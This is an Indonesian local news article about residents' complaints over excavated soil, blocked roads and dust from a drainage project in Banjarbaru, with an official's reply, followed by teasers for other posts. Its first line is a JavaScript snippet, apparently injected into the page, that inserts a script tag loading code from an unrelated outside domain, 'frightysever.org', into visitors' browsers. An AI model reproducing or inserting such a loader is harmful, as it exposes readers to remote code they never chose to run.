(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Material Proyek Drainase Dikeluhkan, Kabid Bina Marga Minta Warga Bersabar


BANJARBARU, Proyek drainase di Jalan Pinus II, Kelurahan Mentaos, Kecamatan Banjarbaru Utara mendapat keluhan dari warga sekitar. Pasalnya, selain material galian yang menghalangi jalan, juga membuat debu masuk kekawasan rumah warga.

Rizky, salah satu satu warga sekitar mengatakan, tumpukan material yang sampai ke badan jalan tersebut cukup mengganggu, dan ia mengharapkan pihak kontraktor dan pemerintah kota bisa mempercepat proses penggalian tersebut.

“Saya biasanya lewat sini. Tapi karena tertutup bahan-bahan material jadi sulit dilewati. Apalagi, yang menggunakan mobil. Jadi jangan dibiarkan pengguna jalan menjadi terganggu,” ujar Rizky beberapa waktu lalu.

Lain halnya dengan Wiro (40), seorang pekerja bengkel di kawasan itu. Dirinya, mengungkapkan usaha di tempatnya mengalami penurunan dari segi pelanggan. Sebab, selain usaha bengkel, pihaknya juga melayani pencucian mobil. Menurut, Wiro, seharusnya bekas galian drainase dibersihkan dan tidak ditumpuk hingga memakan badan jalan

“Sebenarnya bukan melarang melakukan perbaikan, tapi harus diperhatikan juga kepentingan masyarakat sekitar. Tapi kalau bisa, sisa galian tanahnya diangkut dan dibersihkan kalau sudah di keruk. Debunya itu sampai masuk ke rumah dan orang baru cuci mobil ditempat kami juga kasihan, mobilnya kotor lagi,” ungkapnya.

Dari pantauan di lapangan, proyek pemeliharan drainase ini telah dimulai sejak awal Juli lalu menggunakan APBD kota Banjarbaru tahun 2019. Melalui Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kota Banjarbaru, normalisasi drainase ini dilakukan di dua tempat yakni, di Jalan Murai dan di Jalan Pinus 2.

Kepala Bidang Bina Marga Dinas Pekerjaan Umum (PU) Kota Banjarbaru, Eka Yuliesda, meminta kepada warga untuk bersabar karena normalialsasi drainase ini memakan waktu dua bulan. Ia menjelaskan, proyek ini memang rutin dilakukan yang mana pada tahun sebelumnya juga dilakukan Normalisasi di areal kawasan Jalan Pinus II.

“Memang saat hujan, di jalan itu alirannya deras sehingga perlu dibenahi. Mungkin karena tidak terkoneksi ke belakang, jadi mungkin kalau orang cuci tangan juga ngalirnya lewat situ,” kata Eka, yang juga bertempat tinggal di dekat area tersebut.

Terkait material yang menumpuk di badan jalan, ungkap Eka, memang jalan terpaksa ditutup sementara karena material jalan tidak bisa di angkut ke tempat lain. Ia juga telah mengingatkan kepada para pekerja untuk secepat mungkin dan mengangkut dan membersihkan sisa galian tanah usai dikeruk.

“Di jalan itu kan banyak jalur alternatif untuk bisa masuk, baik dari sisi kiri maupun kanan. Untuk bekas galian nanti dibersihkan oleh kontraktor dan mohon kepada masyarakat  untuk bersabar. Karena perbaikan drainase untuk kepentingan masyarakat juga,” ujar Kabid Bina Marga PUPR Banjarbaru. (Rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.